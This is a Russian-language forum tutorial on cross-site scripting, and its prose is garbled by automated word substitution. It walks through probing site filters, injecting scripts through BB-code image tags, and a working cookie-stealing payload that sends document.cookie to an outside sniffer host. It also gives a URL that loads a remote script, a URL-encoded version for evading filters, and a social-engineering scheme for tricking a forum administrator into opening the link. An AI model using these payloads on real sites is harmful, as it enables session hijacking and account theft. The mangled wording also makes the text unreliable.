Привет!!!
В этой теме мы хочу детально описать Xss от A вплоть до Я.
Так что начнём...
========================================
### Xss это Css => Cross Site Scripting
Чтобы никак не путать с CSS похоже назвыают XSS
Впервые этот БАГ появился в 1997.
========================================
### Как используют XSS.
Для истока нам нужно знать что такое Cookie.
Если вы знаете, можете пропустить.
Cookie служат для сохранения учетных данных сайта на компьютере поситителя.
Если вы зарегестрировались на сайте под ником 'blabluble', то сайт сохранил у вас на компьютере файл с cookies, в каком месте закодированы ваши данные.
А ежели вы кушать админ также у вас кушать доступ к сайту, однако мы - юзер, какой украл у вас(админа) cookies, то мы могу спокойно зайти на сайт, также сайт меня определяет как 'admin' - у меня будут администраторские льготы.
Для смены(подстановки украденных) кук советую использувать прогу CookieEdit для IE либо встроенные функции в Опере также Фаерфоксе.
========================================
Мы разобрались что такое куки идём дальше...
Чтобы перехватить cookies надобно найти помещение на сайте, в каком месте разрешено выполнить XSS-атаку.
### Что такое XSS-атака?
XSS атаки - это атаки никак не на самолично сайт, однако на пользователей сайта.
XSS - это недоработка в фильтре, приложении.
Бывают пассивные XSS также активные XSS.
Что такое пассивные XSS?
Пассивные - это Xss, которые требуют от жертвы непосредственного участия + кушать специфические ограничения также сложности.
Поэтому, пассивные XSS никак не весьма ценятся.
Например, нужно заставить её пройти по ядовитой ссылке, что потребует социальной инженерии, хитрости.
Активные - это XSS, которые, никак не требуют никаких дополнительных действий со стороны жертвы - ей достаточно лишь только открыть страницу с вашим XSS также ява-код выполнится автоматически.
Благодаря своей автоматизированности - они весьма полезны также ценны.
Например, активные хсс существуют в BB-тегах из-за недостаточной фильтрации, в какое время вы оставляете сообщение на форуме\гостевухе\чате, которое станет прктически всегда активен при каждом обновлении.
========================================
### Итак, перейду конкретно к тому, как найти в данном сайте XSS.
Как мы раньше уже писал что XSS состоит из тегов, они бла бла состоят из html, также javascript языка =).
Javascript разрешено вписывать в html.
Можно кодировать, дабы обойти фильтры. Но об этом позже.
Как узнать, что XSS на даном сайте пробивается?
Ужасна распрастраннёная узявимость типа
<script>alert()</script> Пытаемся вставить во все различные поля этот скрипт... ежели вышло сообщение значит скрипт обработался также выполнился.
Самая распостраненая XSS (наблюдаеться во всех местах в каком месте плохая фильтрация):
"><script>alert()</script>
Вся сущность в "> .
Давайте подумаем, что мы делаем, в какое время вводим в поле "><script>alert()</script> , что проистекает?
Мы вводим в форму "><script>alert()</script> какой-то переменной присваиваеться значение поля. Переменная обрабатывается, "> выполняеться, закрывает
скрипт также выпролняет <script>alert()</script>
Эта XSS самая распостраненая в поисковиках:
Просматриваем все поля сайта также пытаемся вставить "><script>alert()</script>
Если вышло сообщение - вы нашли XSS...
========================================
### А как определить кушать фильтр либо нет?
Просто в любое поле вводим: '';!--"<########>=&{()}
Дальше вскрываем html страничку также ищем выражение "########"
и смотри последующие сиволы..
Если <> так также остались то это перваый признак уязвимости - значит фильтр владеет дырку.
Если ,"'\ символы остались такими, как были введены - это другой признак уязвимости - возможные дополнительные символы к последующей XSS атаке.
Затем, ежели открыв HTML, вы никак не обнаружили <> то скорее всего дырка в фильтре.
Если открыв HTML вы обнаружили, что <> заменены на другие символы, то это облом - фильтр по крайней
мере функционирует нормально.
Возможно еще ввести в поле для проверки фильтрации вот так: "><>'"`,/\?@%
Рассмотрим приключение ежели фильтр съедает <>
В этом случае существует вероятность дырки.
К примеру, у фильтра условие съедать <script>,<> также .
Тогда пробуем <zxcvb script:alert();
Фильтр смотрит, что ничто рискованного в <IMG%20SRC="java script:alert(); нет, закрывает также тем самым
выполняя скрипт.
Еще несомненно ежели фильтр никак не фильтрует различные кодировки то разрешено попытаться закодировать скрипт также вставить код.
Все надобно пытаться методом проб также ошибок искать...
Пытаться вводить в поля также внимательно просматривать что мы получили от фильтра.
Методом тыков осознать, как фильтр трудится, кушать ли у него недоработки.
Если фильтр дурной, мы прктически всегда можем вставить скрипты.
========================================
### Активные XSS
Тут надобно использовать разрешенные теги также прекрываясь ими, надобно выполнить запрос.
Например, теги url,bb,img.
Весь смысл вставки заключается в том, что нам надобно встроить запрос в париметр img либо url. У Img кушать немало парметров помимо src также alt.
Этот баг весьма зачастую используется на форуме, в гостевухах...
Рассмотрим активные XSS.
Предупреждения!!!
Теги [fon*t],[im*g],[ur*l] пишутса с * для того, штобы они никак не использовались данным форумом.
Для использувания этих тегов удалите *.
К образцу просмотрим форум на наличие использования тегов [fon*t],[im*g],[ur*l] также попытаться вставить в них скрипт либо комбинировать их.:
[im*g]httр://www.qwewqw.ru/1.jpg[/im*g]Выходит крестик...значит img используется также мы его подобрали (просто занятие в том, что бывает img включен, однако админы из создания сообщения его убирают, мол картинки вставлять невозможно также бывает он в использовании
разной формы) ежели крестика нет...а висит всего надпись, то попробуйте еще так:
[im*g src=httр://www.qwewqw.ru/1.jpg]
Ну так вот к образцу мы добились крестика этим:
[im*g]httр://www.qweqw.ru/1.jpg[/im*g]
Проверим владеет ли фильтр пробел, добавляем пробел позже расширения jpg :
[im*g]httр://www.qweqw.ru/1.jpg [/im*g]
если крестик кушать - в то время всё ОК.
Далее существуют у img параметры dynsrc также lowsrc которые держат яваскрипт. Пытаемся к образцу вставить:
[im*g]http://www.qwewqw.ru/1.jpg dynsrc=java script:alert()[/im*g]
проверяем, отсылаем - появиться сообщение - значит нашли активную XSS также взамен alert() можете вставить всякий скрипт.
Если фильтр никак не сдался попробуйте так:
[im*g]http://www.qweqw.ru/"/dynsrc="java script:alert()"/1.jpg[/im*g]
и
[im*g]http://www.qwewqw.ru/"/dynsrc=java script:alert()/1.jpg[/im*g]
Если с приведённых примеров получился крестик, то httр://www.qweqw.ru/1.jpg заменяем на адрес сниффера.
Бывают случаи, в какое время jpg отключен админом.
========================================
###Мы всё пора делали коды типа:
<script>alert('HakNet')</script>
java script:alert('HakNet')
java script:alert('HakNet')/1.jpg также так далие..
Но они никакой выгоды никак не принесли, это просто коды для проверки(тестировки) на Xss.
Вот скрипт:
<script>
img = new Image();
img.src = "http://antichat.org/s/HakNet.gif?"+document.cookie;
</script>
Он уже крадет куки =)
========================================
###Как его подставить к ссылке с Xss?
Конечно весьма легко...
Есть несколко вариантов:
- 1)делаем вот так:
http://*****.ru/free?p='><script>img=new Image();img.src="http://antichat.org/s/HakNet.gif?"+document.cookie;"+document.cookie;</script>
где **** сайт с Xss.
Вот самолично составленый скрипт:
'><script>img = new Image();img.src="http://antichat.org/s/HakNet.gif?"+document.cookie;</script>
- 2)Можно ещё действовать вот так:
http://*****.ru/free?p='><script src=http://haknet.h16.ru/script/js.js></script>
где обращаетса к http://haknet.h16.ru/script/js.js
а в js.js есть:
img=new Image();img.src="http://antichat.org/s/HakNet.gif?"+document.cookie;
этот средство более надёжен.
Но как мы уже писал - иной раз бывают затруднения с фильтрами на сайте (не прокатывает наш скрипт).
Тогда нужно подумать, как его обойти.
Можно просто нечто добавить, нечто поменять, либо удалить в скрипте.
Но кушать более надёжным вариация, в какое время мы просто закодируем скрипт. Для этого кушать немало прог.
Есть такой сайт как http://ha.ckers.org/xss.html (кодировщик-дэкодировщик).
Вот пример:
%68%74%74%70%3A%2F%2F%2A%2A%2A%2A%2A%2E%72%75%2F%6 6%72%65%65%3F%70%3D%27%3E%3C%73%63%72%69%70%74%20% 73%72%63%3D%68%74%74%70%3A%2F%2F%68%61%6B%6E%65%74 %2E%68%31%36%2E%72%75%2F%73%63%72%69%70%74%2F%6A%7 3%2E%6A%73%3E%3C%2F%73%63%72%69%70%74%3E
- 3) Особенно шифрование необходимо никак не только для надувательства фильтров, но также для надувательства АДМИНА при использовании ПАССИВНОЙ ХСС.
Вот такой образец на основе социальной инженерии.
Ищем контакт с админом форума кидаем в форуме ему линк на свой сайт, также говориш типа так "клевая фича кушать на сайте" также так дале в том бла бла духе.
А на нашем сайте станет как вы уже догадались =) вот ето скрипт:
Что действует document.location.href вы спросите меня? )).. это ява-код, какой без запроса переходит на указаной сайт Так чо ж у нас получается, дали мы линк админу, также он зашел на наш сайт, вот что делается.. его спешно кидает на
%68%74%74%70%3A%2F%2F%2A%2A%2A%2A%2A%2E%72%75%2F%6 6%72%65%65%3F%70%3D%27%3E%3C%73%63%72%69%70%74%20% 73%72%63%3D%68%74%74%70%3A%2F%2F%68%61%6B%6E%65%74 %2E%68%31%36%2E%72%75%2F%73%63%72%69%70%74%2F%6A%7 3%2E%6A%73%3E%3C%2F%73%63%72%69%70%74%3E
а это уже также кушать наш Xss в зашифрованом виде.
Примечание: это подействует только тогда, в какое время Xss станет принадлежать админу сайта которому вы бросили линк...
Иными словами ТРУДНОСТЬ ПАССИВНОЙ ХСС состоит в том, что уязвимость может существовать использована ТОЛЬКО, ежели жертва АВТОРИЗОВАНА на уязвимом сайте!!!